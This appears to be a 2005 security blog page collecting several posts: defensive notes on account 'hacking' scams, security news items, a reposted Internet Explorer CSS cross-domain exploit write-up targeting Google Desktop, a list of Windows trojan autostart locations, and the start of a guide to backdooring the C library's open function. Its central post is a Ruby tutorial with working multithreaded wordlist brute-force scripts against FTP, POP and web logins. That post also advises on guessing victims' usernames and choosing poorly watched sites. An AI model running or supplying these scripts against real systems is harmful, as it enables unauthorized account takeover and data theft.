Friday, December 16, 2005

How to Hack AOL,HOTMAIL and YAHOO

We often hear people claim that they have lost their passwords because they have been hacked and now need to get their password back.Here i am giving few techniques

All this techiniques are illegal can be called as Phishing

THE HOAX

Let's dispose of one technique that is absolutely a hoax (meaning a fraud: something intended to deceive; deliberate trickery intended to gain an advantage.) If you see a newsgroup post or web page with something like the following, it is a hoax and will not work.


: : : (([[THIS REALLY WORKS ]])) : : :

(1) send an E-mail to passwordrecovery@yourdomainhere.com

(2) In the subject box type the screenname of the person whose password you wish to steal

(3) In the message box type the following: /cgi-bin/start?v703&login.USER=passmachine&class=supervisor&f={your aol password}&f=27586&javascript=ACTIVE&rsa

(4) Send the e-mail with priority set to "high" (red ! in some mailprograms)

(5) wait 2-3 minutes and check your mail

(6) Read the message.-Where YOUR password was typed before, NOW, the password of the screenname in the code string is there!!!

Why does this work? It´s a special decryption-server that AOL-employees can use to decrypt passwords.The aolbackdoor account is a bot that reads your authentification from the message body and identifiying you as a valid AOL Staff-member, you will get the password mailed back to you. The trick is that this Bot´s script seems to be a little bit buggy and it automatically recogises you as an supervisor (AOL-Staff member), even if you use a normal AOL account. This means, that EVERYONE having a valid AOL account can hack as many other accounts as he wants.


This is just a scam to steal your password and may explain some of the calls we get from people saying they were hacked. Never give your password to anyone. No legitimate web service or customer service representative will ask for it or need it. There is no magic email address or series of commands that will reveal the passwords of users.


LOCALLY STORED PASSWORDS

Most browsers, including Internet Explorer® and Netscape®, the AOL® client, and Windows® Dial-Up Connections allow you the option to store passwords. These passwords are stored on the local machine and (depending upon where and how it is stored) there is usually a method of recovering these passwords. Storing any password locally is insecure and may allow the password to be recovered by anyone who has access to the local machine. While we are not currently aware of any program to recover locally stored AOL® passwords, we do not recommend that these are secure. Software does exist that can recover most of the other types of locally stored passwords.


TROJAN

A Trojan is a program that is sent to a user that allows an attacker to control functions of the target computer, recover information from the target or to delete or damage files on the target. The name Trojan is given because the program will usually come attached to some other program or file that entices you to run it. There are a wide variety of Trojans any number of which can be programmed to capture passwords as they are typed and to email or transmit them to a third party. To protect yourself against Trojans, you should never execute or download software or files that are not from a trusted source. It is critical that anyone working on internet use a virus protection program (which should catch most Trojans.) Note that since a Trojan requires the password to be typed or stored in order to be recovered, this is not an effective way to recover your own password. It could explain, however, how someone could lose their password to a hacker. Sending someone a Trojan program is certainly illegal and we do not recommend or condone this activity. A Trojan is unlikely to be effective in recovering a particular account password since it requires the target to install it. However, hackers will often bulk mail Trojans to thousands of people in the hope that a small percentage will get caught. Legitimate account holders who may have been caught by a Trojan and can authenticate themselves should contact their service provider to have their account passwords reset.


KEYLOGGER

A keylogger is a program or piece of hardware that records all keyboard keystrokes to an encrypted file which can then be read later. Based on the order of the keystrokes, it is usually easy to identify the password(s) from the file later. Like the Trojan, this also requires that someone actually type the password. Keyloggers come in two types: hardware and software. A hardware keylogger can be fitted between the keyboard cable and the computer and can be activated with a few keystrokes. It is then left in place until after the password that you are looking to hack is typed. Later it is removed and the file of keystrokes is examined for the password. A software keylogger is installed on a system and effectively has the same function, however, it is a little bit more complex to use since it must be installed to run stealthily. A keylogger could be used to steal a password from someone who is using an office computer or sharing a computer. It is likely that installing and using such a device or piece of software is illegal and we do not recommend or condone this activity.


IMPERSONATION

It is possible to impersonate a program on a computer by launching windows that look like something else. For instance, let's say you login to the MSN® service and visit a website (in this case a hostile website.) It would be possible for this website to pop-up some windows that look like something else. They could look almost identical to windows that an inexperienced user might expect from his local computer. The user could be fooled into submitting information to the hostile website. For instance, consider the effect of seeing the following series of windows:
If these could trick you into entering your password, then you could end-up sending your password to the attacker. Windows such as these could be created to mirror virtually any program or series of actions. Your browser will likely identify your operating system and your IP address might identify your ISP. Therefore, a hostile website could target you with a series of screen shots that look exactly as they should on your system. The key is that the screen shots are not coming from your system, but are coming from the hostile website. First, creating such a hostile website is probably fraudulent and illegal. We do not recommend or condone this activity. To protect yourself against this type of attack, make sure to configure your browser for high security and enable warnings for any code that is executed on your system.


SNIFFING

If two people do not share the same computer, but do share the same network, it may be possible for one to sniff the others' packets as they sign-on. The traffic between your computer and the internet site you are accessing may be able to be recorded and decrypted or "played-back." This is not a simple attack to execute, but is possible if two people are close to one another and share a hub. Again, this is likely to be illegal and we do not condone this activity.


BRUTE-FORCE ATTACK

Many people want to find software to perform a brute-force attack. This is really impractical. It would take hundreds of thousands of years to attempt any kind of reasonable brute-force attack on AOL®, Yahoo® or Hotmail® and this would expand exponentially if the password is longer than the minimum length. Using multiple computers or multiple sessions could reduce this to merely thousands of years. This is highly illegal since these services own the servers on which an account is hosted. Even if you are hacking your own account, you don't own the servers and the service is going to monitor and log this activity. It is extremely unlikely that you could recover a password in this way, but it is extremely likely that you'd be arrested and prosecuted for doing this.


SOCIAL ENGINEERING

Social engineering is the name given to the art of attacking the person, rather than the computer or system. The basic principle is that many people can be talked into giving someone else their id and password if they think it is someone that they can trust. For instance, I might call someone and say I was from AOL and that I was finally getting around to responding to their technical support question. I would then ask you to describe the problem that you are having and tell you that we have a solution. However, I just need to verify the account. Can you give me the username and password again? A surprising number of people would fall for this obvious scam. There is no limit as to how elaborate this can be. The more information that is given by the caller, the more realistic or believable the call is. Again, never give your password to anyone. No legitimate customer service representative will ask for this information.

Thanx

DL Kumar

Thursday, December 15, 2005

New Sophisticated Security Threats From Voip

A new report from the Information Security Forum (ISF) warns that along with existing security problems associated with IP networks, VoIP will present new and more sophisticated threats, such as caller ID spoofing, voice modifiers, SPIT (voicemail SPAM) and packet injections.

With VoIP now poised to hit the business market in a big way, the ISF believes that failure to address these serious risks may bring voice communications to a grinding halt and result in identify theft and loss of sensitive information.

With a combination of caller ID spoofing and freely available voice modification software, it is relatively easy to pose convincingly as someone else, similar to web site spoofing and phishing. But the ISF believes that one of the most virulent problems posed by VoIP will come about as a direct result of the low cost of sending voice messages over the Internet. SPIT (spam over internet telephony) could become a huge problem for companies. This could range from staff wasting time clearing unwanted voicemail messages to a total loss of service.

Other VoIP security issues highlighted in the ISF report range from redirection of calls and packet injections where words are inserted into the data stream mid-conversation, to the interception of sensitive voice traffic in transit and theft of VoIP bandwidth.

In surveying ISF members to research the report, concerns were also expressed that as VoIP becomes more popular, organised criminals will turn their attention to sabotaging businesses by disabling phone systems through DoS attacks or spreading malicious viruses or worms. The problems of poor quality transmission and loss of service are gradually being overcome, which is expected to lead to more widespread adoption and reliance on VoIP in the future. This trend is also being driven by cost savings, improved functionality, ease of access and low cost of entry.

"Although VoIP is being increasingly used in the home environment, most businesses are still reliant on the Public Switch Telephone Network," said Nick Frost, Consultant at the ISF. "We take it for granted but it is extremely resilient, something that VoIP can not currently deliver. But it is inevitable that eventually VoIP will take over as the voice service of choice, bringing with it these additional new security risks."

Thursday, December 08, 2005

First Exploit in Firefox 1.5 discovered

Security experts with Packet Storm have published proof of concept code that exploits an unpatched flaw in the Firefox 1.5 browser, making the application vulnerable to a denial of service attack.

The code marks the first publicly disclosed security vulnerability in Firefox 1.5 since it became available late November.

The published code will add a large entry to the history.dat file of the browser, causing the application to crash the next time it is launched or the application will freeze.

Users can fix the problem by manually erasing the file. Another option is to change the browser setting to disable the saving of history data by setting the days of saved history to zero or increasing the privacy control.

While the proof of concept code is relatively harmless, the flaw could be exploited to install malware, said John Bambenek, a researcher with the University of Illinois at Urbana-Champaign and volunteer at the SANS Internet Storm Center.

"Presumably, if the topic was more tightly crafted than in the proof-of-concept code, a more malicious attack could be crafted that would install malware on the machine with the extra fun step of being reinstalled after each restart of Firefox," Bambenek wrote.

Tuesday, December 06, 2005

Bruteforce Password Cracking

A very elemental intrusion technique is bruteforce password guessing with a wordlist. This is very easy to do and I'd like to specifically explain how to crack simple, online websites. The basic principles are very transportable and we'll examine a couple more uses for them. We'll use the wonderful language, ruby, for our implementation.

To begin, you need a wordlist file. Find yourself some wordlist files at ftp://ftp.cerias.purdue.edu/pub/dict/wordlists and ftp://ftp.ox.ac.uk/pub/wordlists/. These will provide you with words that might be used as passwords. For example, ftp://ftp.ox.ac.uk/pub/wordlists/computer/common-passwords.txt.Z contains a list of some 800+ commonly used passwords. You can join them with a "cat file1 >> file2" or "ruby -e 'File.open("file1", "a").write(File.open("file2", "r").read)'", substituting whatever your files' names are for file1 and file2.

Now you want to create a ruby program that can iterate through it, such as this:

File.open("wordlist", "r").each_line { |line| puts line }

What a piece of cake! In olden times, wordlists were often used to brute force passwd files. These passwd files contain uniquely encrypted passwords and were world readable. Now so-called "shadow" password files are often used, containing the actual encrypted passwords and only root can play with them. Anyhow, a wordlist would be iterated through and each word would be encrypted and then compared with encrypted password. This is done with the crypt function, which takes a password to encrypt and a two character salt. The salt is the first two characters of the stored password. Here is a miniature program to compare the encrypted password with an unencrypted word:

int main (int argc, char *argv[]) {
return strcmp(argv[1], crypt(argv[2], argv[1]));
}

Compile with -lcrypt and then run it like this:

$ gcc pwchk.c -lcrypt -o pwchk
$ ./pwchk 2dqe5MP4ZMCQ a7f2f
$ echo $?
0

You can use it with your word list in ruby like this:

encrypted_password = "okDf3IrUDfDys"
File.open("wordlist", "r").each_line do |line|
system("./pwchk #{encrypted_password} #{line.chomp}")
if $? == 0
puts line
exit
end
end

If you did this with a wordlist containing the word, "password", you'd see the ruby program print it out. Okay, now the you probably aren't going to run across many passwd files these days, but, you'll certainly encounter some password protected logins for all sorts of online stuff. Let's take a look at how to crack http, ftp, and pop accounts. The assumption here is that you know (or can guess) a login name. Let's check out ftp servers first.

FTP servers are very often the way people get their web content to and from their websites. If you can crack into a website through the FTP route, you usually have complete access to all of their web pages, scripts, and stored data (such as password lists). Also, if they have a normal account on box, you'll have access to their home directories which can contain all sorts of goodies. This is especially the case if they're hosting an FTP server on their workstation.

First, find out what ISP is hosting their site or if they are hosting it themselves. Then research to figure out what the ftp server's name is. For example, Comcast home accounts are accessed through the publish.comcast.net server. If they own the domain name and especially if they are hosting it themselves, there is a good chance that it is just ftp.theirname.tld, or you can just ftp into www.theirname.tld.

Next, guess their login name. It is very likely to the same as some email address for the site. Also, look up their contact information on www.whois.net. If they are being hosted by an ISP, you might be able to find out what their login name is based on the name of their site -- they might just use the domain name, for example. If they are self-hosting, look for e-mail addresses and even root. They might be republican enough to enable root access through FTP.

Once you've got some names to guess, your wordlist can get funky like this:

require 'net/ftp'
File.open("wordlist", "r").each_line do |line|
begin
Net::FTP.new('ftp.somewhere.com').login('gwbush', line.chomp)
puts line
exit
rescue Net::FTPPermError
end
end

Now, the thing is that this is slow. It might take a second per try, so if you're trying 1 million words, it could take 11 1/2 days to discover that the wordlist is bunk! :) To speed things up, let's distribute the accesses over 10 threads (modify the number of threads as you see fit):

require 'net/ftp'
i, a = 0, []
File.open("wordlist", "r").each_line do |line|
if i < 10
a.push(Thread.new {
begin
Net::FTP.new('ftp.somewhere.com').login('gwbush', line.chomp)
puts line
exit
rescue Net::FTPPermError
end
})
i += 1
else
sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty?
i = 0
end
end
a.delete_if {|x| not x.alive?} while not a.empty?

Ah, ruby is so nice. Okay, now let's take a look at POP. You can harvest e-mail addys directly from webpages. The next step is figuring out what mail server handles the e-mail address. This is usually just mail.address.tld or, rarely, pop.address.tld. Sometimes it is just www.address.tld, as well. You might be able to find it with the dig or host, as well. Cracking it is just as easy as FTP (you can parallelize this the same way as above):

require 'net/pop'
File.open("wordlist", "r").each_line do |line|
begin
Net::POP3.new('mail.somewhere.com').start('gwbush', line.chomp)
puts line
exit
rescue Net::POPAuthenticationError
end
end

Wow! Simple! Now, our last example is how to crack those lovely web logins. This is more complex because we must understand what is being sent to web server, which will vary a lot except that it will almost always have a login/password to spoof. You will need to recreate what is sent by your browser on login. Depending on the complexity of the server software, you might have to include some or all of the additional variables sent by your browser. You must be especially careful with cookies. Some sites, such as www.yahoo.com have a sequence of session-level cookies that must be carefully recreated. But, there are many sites out there with very easily cracked logins.

To find out what is being sent, I like to edit the page in place (with Mozilla, for example) or save and edit the login page locally and change the action field of the form to be "http://localhost:30000". Now try logging into your edited page after you start this script:

require 'socket'
puts TCPServer.new("localhost", 30000).accept.recv(16384)

If the method was GET you will actually see the important variables on the first line, like "GET /login.html?username=gwbush&password=nwo HTTP/1.1". On the other hand, if the scripts uses the POST method, the variables will be at the end of the script, again with keys connected to values with "=" and linked together with ampersands. This data needs to be reproduced as either a GET or POST client request and the result tested against a sample unsuccessful password attempt.

Let's look at how we do this for a GET request that looks for the login form in the returned HTML file:

require 'net/http'
File.open("wordlist", "r").each_line do |line|
r, d = Net::HTTP.new("www.somewhere.com").
get("/login.cgi?username=gwbush&password="+line.chomp, nil)
if not d.include? "action=\"login.cgi"
puts line
exit
end
end

Now, for a POST request we would just change a little like this:

require 'net/http'
File.open("wordlist", "r").each_line do |line|
r, d = Net::HTTP.new("www.somewhere.com").
post("/login.cgi", "username=gwbush&password="+line.chomp")
if not d.include? "action=\"login.cgi"
puts line
exit
end
end

Keep in mind that you probably need to reproduce all of the variables being presented. Cookies can be added as a second variable hash to get function, but, there doesn't seem to be a way to easily insert a "Cookie: x=1" style header when using HTTPRequest's post. In the case that you need these cookies, you might need to just treat it as a socket:

require 'socket'
s = TCPSocket.new("www.somewhere.com", 80)
vars = "username=gwbush&password=nwo"
cookies = "x=1"
s.send("POST /login.cgi HTTP/1.1\r\n" +
"Connection: close\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n" +
"Content-Length: #{vars.length}\r\n" +
"Host: www.somewhere.com:80\r\n" +
"Cookie: #{cookies}\r\n\r\n#{vars}", 0)
puts "Cracked" if not s.recv(32770).include? "action=\"login.cgi"

Again, multithreading can speed this type of cracking by an order of magnitude. Servers will log your access attempts, and, for smaller servers the large access log size might be noticed, as could increased bandwidth. If they watch their stats go from 1000 hits a day to 200000, they will certainly look into it. What are most ripe are sites ran by technologically illiterate, lazy, or distracted webmasters. FTP is a much prettier target, overall, as the logs are often ignored and the prize is extremely sweet. POP marks are often pretty easy and allow for ample snooping possibilities.

Well, now you know some basic password bruteforce techniques. But, remember: use your knowledge for good, not evil. You will turn into dust one day, but, the echos of your actions will live on as happiness or sadness. Do what is right. Help those in need and stop injustice. Liberty, equality, solidarity!

Saturday, December 03, 2005

Google Desktop Exposed: Exploiting an Internet Explorer Vulnerability to Phish User Information

Article at ... http://www.hacker.co.il/security/ie/css_import.html

Google Desktop Exposed: Exploiting an Internet Explorer Vulnerability to Phish User Information

Overview

It was bound to happen. I was recently intrigued by the possibility of utilizing Google Desktop for remote data retrieval of personal user data (such as credit cards and passwords) through the use of a malicious web page. Now, thanks to a severe design flaw in Internet Explorer, I managed to show it's possible to covertly run searches on visitors to a web site by exploiting this vulnerability. In this article I will detail what the vulnerability in IE is and how it is used to exploit Google Desktop. If you have IE 6 and Google Desktop v2 installed you can test it for yourself in my proof of concept page.

Detailed analysis

Normally, browsers impose strong restrictions for cross domain interaction through the web browser. A certain web page can make a user browse to a different domain. However, it may not read the content of the retrieved page nor manipulate any of its DOM objects. This restriction is imposed so one site owner wouldn't be able to spy on a user's surfing habits using Javascript. Also, if a user is already logged on to a certain service (such as Gmail or hotmail) a malicious web page could have executed certain operations in the user's account (such as opening an email and reading it) if the restrictions weren't in place. In IE these restrictions are kept thoroughly but they are broken when it comes to CSS imports. I call this attack CSSXSS or Cascading Style Sheets Cross Site Scripting.

A certain web page can import CSS rules from a different domain using the "@import" directive. IE also has a handy javascript function called "addImport" which operates just like "@import" but in runtime. CSS rules can later be read by accessing the "cssText" property in the document.styleSheets collection. But what happens when a web page imports a URL that is not a valid CSS file? It appears that IE's lenient CSS parsing allows this to happen and in the "cssText" property one can read snippets of html code from the remote site that were mis-parsed as CSS rules. Since CSS rules require a certain structure the amount of code that's retrieved from the remote site may vary depending on the site's code.

CSS rules determine the look of a site and normally have a selector, a property and a value. The property and value are seperated by a colon and surrounded by curly braces. For example, to color all the links on a certain web page one would define the CSS rule "a {color: white}". In order to retrieve code from a certain URL that is not valid CSS, the target page must contain some characters that are used in CSS, namely curly braces. Luckily, most modern web pages contain them as curly braces are used extensively in javascript code and CSS rules embedded in pages. Once the IE CSS parser hits curly braces it will try to interpret the data after it as CSS. Even if the resulting CSS rules don't make any sense to the browser, IE will still let you see them in the "cssText" property. The combination of curly braces, colons and semi colons as they appear in the target's HTML code determine which snippets of code can be read.

When using the CSSXSS technique an attacker will mostly get javascript code. However, he can improve his luck by injecting CSS characters into the target page. Since most modern sites are dynamic and get parameters through the URL, injecting these characters is usually trivial. This is very much like injecting javascript into a target page as used in classic XSS vulnerabilities only here an attacker injects characters which most sites consider harmless.

Much like classic XSS holes, this design flaw in IE allows an attacker to retrieve private user data or execute operations on the users behalf on remote domains. The difference is that in this case the target site doesn't have to be vulnerable to script injection. All an attacker has to do is lure a user to a malicious web page. Thousands of web sites can be exploited and there isn't a simple solution against this attack at least until IE is fixed. That means millions of IE users are affected by this design flaw.

This vulnerability has been tested to work on a fully patched Microsoft Internet Explorer 6 browser and earlier versions are possibly vulnerable as well. Mozilla Firefox seems to adequately keep domain restrictions in CSS imports and doesn't seem to be vulnerable to this type of attack. Opera isn't vulnerable because it doesn't support the styleSheets collection. Possible solutions for users to mitigate this attack would be to disable Javascript in IE or use a different browser.

Google Desktop Logo

The Google Desktop Exploit

To demonstrate what this vulnerability is capable of, I cooked up a little demonstration that exploits Google Desktop Search (GDS) to search and fetch private user information from a remote web site. But before detailing how this is done, I will give a brief background on how GDS works.

Google Desktop Search is a useful piece of software that indexes a user's local data such as documents, emails, spreadsheet files etc. Once data is indexed, a user can search through his local files in the familiar Google interface. The search is done using a web server installed on the local machine. The local web server listens on port 4664 and is bound only to the 127.0.0.1 address to make it impossble to access remotely from the Internet.

Google added an extra security measure so remote web pages won't be able to access the local web server and try to exploit XSS holes. In order to access the GDS web interface, there is a randomly generated secret key which has to be passed as a parameter in the URL. Once a user clicks on the GDS icon, a secret key is generated on the web server and the default web browser opens with a URL containing the key. If the key is not present or wrong, GDS will not allow any execution of queries and instead it will return an error page. The only thing remote web pages can access is a gif file which shows the Google logo.

Google also integrates GDS with their regular search services on google.com. Once a user installs GDS a new link appears in google.com above the query box called "Desktop". This link points to the URL of the local web server including the secret key. This is done so the user will be able to go to his local search without even noticing ever leaving the Google web site. The desktop link that appears doesn't actually come from Google's web site. The link is injected by GDS using a browser plugin whenever it detects that the user surfed to the Google web site. This prevents the key from being leaked to the Internet.

Google Main Page with desktop link

In order to exploit GDS an attacker must first have a valid key to access the GDS web server. As I mentioned earlier, the key appears in a link on Google's web sites so naturally, this is where the key can be grabbed by the attacker using the CSSXSS attack. Due to Google's design, grabbing the "Desktop" link isn't possible on most of their search sites. However, after some trial and error I discovered the link can be returned using this attack on the Google News site, news.google.com, by injecting curly braces into a query. Then it's only a simple matter of extracting the key using a regular expression and doing a CSS import on the URL of the local web server with the chosen query. I also add a "{" character to the query so the results will be visible in the "cssText" property after CSS parsing. This character is ignored by the search engine and doesn't change the results.

The proof of concept works on a fully patched IE browser (default security and privacy settings) with Google Desktop v2 installed. It will not work on any other browser unless the browser is derived from IE. The results you will get from this demonstration may vary, depending greatly on the Google News page design and the content in the user's hard drive (and possibly the language of the GDS installation) . I got the best results using the english version of GDS and the english Google News page. A complete exploit can also iterate through the result pages to get more data and log the results on a remote server. Needless to say, I don't log any of the results. Also note that this proof of concept code is supplied for educational purposes only.

Google Desktop proof of concept exploit

Back to hacker.co.il main page.

Matan Gillon (matan <[_at_]> hacker.co.il)

30/11/2005

Places that viruses and trojans hide on start up

By ShaolinTiger

The following article was written by ShaolinTiger, Administrator of:



1. START-UP FOLDER. Windows opens every item in the Start Menu's Start Up folder. This folder is prominent in the Programs folder of the Start Menu.

Notice that I did not say that Windows "runs" every program that is represented in the Start Up folder. I said it "opens every item." There's an important difference.

Programs represented in the Start Up folder will run, of course. But you can have shortcuts in the Start Up folder that represent documents, not programs.

For example, if you put a Microsoft Word document in the Start Up folder, Word will run and automatically open that document at bootup; if you put a WAV file there, your audio software will play the music at bootup, and if you put a Web-page Favourites there, Internet Explorer (or your own choice of a browser) will run and open that Web page for you when the computer starts up. (The examples cited here could just as easily be shortcuts to a WAV file or a Word document, and so on.)

2. REGISTRY. Windows executes all instructions in the "Run" section of the Windows Registry. Items in the "Run" section (and in other parts of the Registry listed below) can be programs or files that programs open (documents), as explained in No. 1 above.

3. REGISTRY. Windows executes all instructions in the "RunServices" section of the Registry.

4. REGISTRY. Windows executes all instructions in the "RunOnce" part of the Registry.

5. REGISTRY. Windows executes instructions in the "RunServicesOnce" section of the Registry. (Windows uses the two "RunOnce" sections to run programs a single time only, usually on the next bootup after a program installation.)

7. REGISTRY. Windows executes instructions in the HKEY_CLASSES_ROOT\exefile\shell\open\command "%1" %* section of the Registry. Any command imbedded here will open when any exe file is executed.

Other possibles:

[HKEY_CLASSES_ROOT\exefile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] ="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] ="\"%1\"
%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] ="\"%1\"
%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] ="\"%1\"
%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] ="\"%1\"
%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] ="\"%1\"
%*"

If keys don't have the "\"%1\" %*" value as shown, and are changed to something like "\"somefilename.exe %1\" %*" than they are automatically invoking the specified file.

8. BATCH FILE. Windows executes all instructions in the Winstart batch file, located in the Windows folder. (This file is unknown to nearly all Windows users and most Windows experts, and might not exist on your system. You can easily create it, however. Note that some versions of Windows call the Windows folder the "WinNT" folder.) The full filename is WINSTART.BAT.

9. INITIALIZATION FILE. Windows executes instructions in the "RUN=" line in the WIN.INI file, located in the Windows (or WinNT) folder.

10. INITIALIZATION FILE. Windows executes instructions in the "LOAD=" line in the WIN.INI file, located in the Windows (or WinNT) folder.

It also runs things in shell= in System.ini or c:\windows\system.ini:

[boot]
shell=explorer.exe C:\windows\filename

The file name following explorer.exe will start whenever Windows starts.

As with Win.ini, file names might be preceeded by considerable space on such a line, to reduce the chance that they will be seen. Normally, the full path of the file will be included in this entry. If not, check the \Windows directory


11. RELAUNCHING. Windows reruns programs that were running when Windows shut down. Windows cannot do this with most non-Microsoft programs, but it will do it easily with Internet Explorer and with Windows Explorer, the file-and-folder manager built into Windows. If you have Internet Explorer open when you shut Windows down, Windows will reopen IE with the same page open when you boot up again. (If this does not happen on your Windows PC, someone has turned that feature off. Use Tweak UI, the free Microsoft Windows user interface manager, to reactivate "Remember Explorer settings," or whatever it is called in your version of Windows.)

12. TASK SCHEDULER. Windows executes autorun instructions in the Windows Task Scheduler (or any other scheduler that supplements or replaces the Task Scheduler). The Task Scheduler is an official part of all Windows versions except the first version of Windows 95, but is included in Windows 95 if the Microsoft Plus Pack was installed.

13. SECONDARY INSTRUCTIONS. Programs that Windows launches at startup are free to launch separate programs on their own. Technically, these are not programs that Windows launches, but they are often indistinguishable from ordinary auto-running programs if they are launched right after their "parent" programs run.

14. C:\EXPLORER.EXE METHOD.

C:\Explorer.exe

Windows loads explorer.exe (typically located in the Windows directory)during the boot process. However, if c:\explorer.exe exists, it will be executed instead of the Windows explorer.exe. If c:\explorer.exe is corrupt, the user will effectively be locked out of their system after they reboot.

If c:\explorer.exe is a trojan, it will be executed. Unlike all other autostart methods, there is no need for any file or registry changes - the file just simply has to be named c:\explorer.exe

15. ADDITIONAL METHODS.

Additional autostart methods. The first two are used by Trojan SubSeven 2.2.

HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\explorer\Usershell folders

Icq Inet
[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\test]
"Path"="test.exe"
"Startup"="c:\\test"
"Parameters"=""
"Enable"="Yes"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\]
This key specifies that all applications will be executed if ICQNET Detects an Internet Connection.

[HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap] ="Scrap object"
"NeverShowExt"=""
This key changes your file's specified extension.

Friday, November 25, 2005

Thursday, November 24, 2005

Bots

bots' For Sony Cd Software Spotted Online

Sony's software, installed when playing one of the record label's recent copy-protected CDs in a computer, hides itself on hard drives using a powerful programming tool called a "rootkit." But the tool leaves the door open behind it, allowing other software--including viruses--to be deeply hidden behind the rootkit cloak.

The first version of a Trojan horse spotted early Thursday, which aims to give an attacker complete remote control over an infected computer, didn't work well. But over the course of the day, several others emerged that apparently fixed early flaws.

This is no longer a theoretical vulnerability; it is a real vulnerability," said Sam Curry, vice president of Computer Associates' eTrust Security Management division. "This is no longer about digital rights management or content protection, this is about people having their PCs taken over."

Sony's use of the rootkit software has sparked a firestorm of criticism online and off over the company's techniques, highlighting concerns that remain over record labels' increasingly ambitious attempts to control the ways consumers can use purchased music.

Last week, plaintiffs' attorney Alan Himmelfarb filed a class action suit against Sony BMG in Los Angeles federal court, asserting that the company had violated state and federal statues on unauthorized computer tampering. The company's actions also constituted fraud, trespass and false advertising, the suit contends.

Other attorneys say they are considering other suits. Several Italian consumer groups also have said they are looking into the prospect of taking legal action against Sony, although the relevant discs were distributed by the record label's U.S. division and not intended for overseas sale.

Sony's use of the rootkit stems from record companies' growing concerns that unrestricted music copying is undermining their sales, and they have been looking for a technological way to limit the number of copies that people can make of each CD they buy.

Sony BMG has experimented with several different ways to do this. The current controversy focuses on just one of those tools, created by a British company called First 4 Internet.

The First 4 Internet software is included on a handful of CDs, including recent releases from My Morning Jacket and Southern rockers Van Zant. When the albums are put in a computer's CD drive, they ask a listener to click through a consent form, and then install the rootkit copy-protection software on the hard drive.

A rootkit is a tool that takes a high level of control over a computer, potentially even preventing the original computer user from performing certain tasks. In this case, the First 4 Internet hides itself from view in the computer's guts.

One Trojan horse discovered by security companies Thursday is a variant of a pre-existing software distributed by spam e-mail, among other techniques.

One version of the e-mail claims to be from a business publication and says it is using a photograph of the recipient for a soon-to-be published article, according to security company BitDefender. Clicking on the alleged photograph installs the malicious software, which then connects automatically to the Internet Relay Chat chat network, opening up a channel to control the infected computer.

In a new version of the program, the software hides itself using Sony's rootkit tool and then tries to connect to a server on the chat network. The first version of the Trojan was unable to function after hiding itself, security company F-Secure said. However, several other variants have been found that are able to successfully take over control of a computer after hiding under the Sony software.

All virus companies are rating the danger as fairly low so far, since the Trojans seem to be spreading slowly.

Most antivirus companies are releasing versions of their software that identify or remove the Sony software. A patch on the Sony Web site will uncloak the copy protection tools, but computer users must contact Sony's customer service for instructions on removing it altogether.

Neither Himmelfarb nor a Sony BMG spokesman could immediately be reached for comment. A Sony BMG representative contacted last week noted that the software could be easily uninstalled by contacting the company's customer support service for instructions.

Info found Here

Tuesday, November 22, 2005

Is it only IT individuals who do hacking..?

Most of time hackers known as individuals who committed to attack some one with his/her skills in IT, but when considering the news that we listen in our day to day life, we can ask a question from our selves that does only those individuals who use hacker skills..?. I don think so, see now day it seems most big organizations use hacker skills too
As you know the SONY BMG crisis is long talked news that we heard few days ago. SONY BMG is not the only organizations who use hacker skills to businesses issues. Nowadays hackers are used by military, intelligence services and there are some hacker companies too, most known as computer security companies. The bottom line is every body need hackers and their skills; only deference is how they use them or their skills against others. Well in a way it seems hackers make somebody’s life comfortable while some one get in trouble, well what do you think..?

Wednesday, November 16, 2005

Adding Back Doors to the Standard C Library

Adding Back Doors to the Standard C Library

Hacked by chrootstrap December 2003

(GNU Free Documentation License)

In computer terms, a library is an archive of reusable functions, data, and types. When a program uses parts of a library, the library is said to be statically linked when the library's parts are copied into the program and dynamically linked when the parts are loaded when the program are running. Libraries which support dynamic linking are said to be shared libraries because their parts may be used by many different programs, even at the same time. Only one copy of the parts needs to be on the system and any updates to a part apply to all programs using the part. Because of these advantages, shared libraries are very popular on many operating systems including Linux.

Normally when a shared library is updated or changed, it has to be rebuilt from all of the original parts and the new library simply replaces the old library. It is possible, however, to modify the library without the original objects. This is usually done with the BFD library, which allows the internal structures of programs and libraries to be operated in a fairly high level way. However, BFD does not allow for the alteration of a library in place; it is necessary to create a new library from the previous one while, perhaps, changing some of its properties. The code to this (viz. object_copy in objcopy.c of binutils) is fairly laborious and heavy handed.

I will explain the use of a somewhat different technique in order to modify the operations of an existing library, the standard C library, in place without changing the file size or internal structure. The end result will be used to make a 'back door' in the open function that will allow us to handle any file name that starts with "http://" by return the file handle of a socket ready for the reading of the file requested by HTTP. Any program that uses the shared library and calls open will have this functionality added to it.

Our example will be for x86 ISA Linux. The code is easily adapted to other architectures (assuming a familiarity with elementary assembly language) and the ideas can be generally applied to systems with ELF shared libraries. To begin, I write the specialized handler for the open function with typical Posix library calls. Please study this version first to get a quick understanding of how the operation is accomplished:

openbackdoor_library.c

However, within the C standard library we should not be loading other libraries and can make things simpler by foregoing the use of standard library calls as well. Furthermore, we are not going to insert from any other section that .text and therefore may not overly use string constants or global variables. In order to meet these criteria we must rewrite the function using system calls and restricted techniques. The most complex rewrite has to do with providing basic gethostbyname functionality. Here is the version that is completely independent of position and other functions:

openbackdoor_systemcalls.c

You'll notice that at the very end of our function we handle the case of a pathname that doesn't start with "http://". We simply use the open system call.

Now we are ready to compile the function and prepare it for insertion into the library. This done simply by entering:

gcc -c openbackdoor_systemcalls.c

Now we need to extract our code into the raw function data:

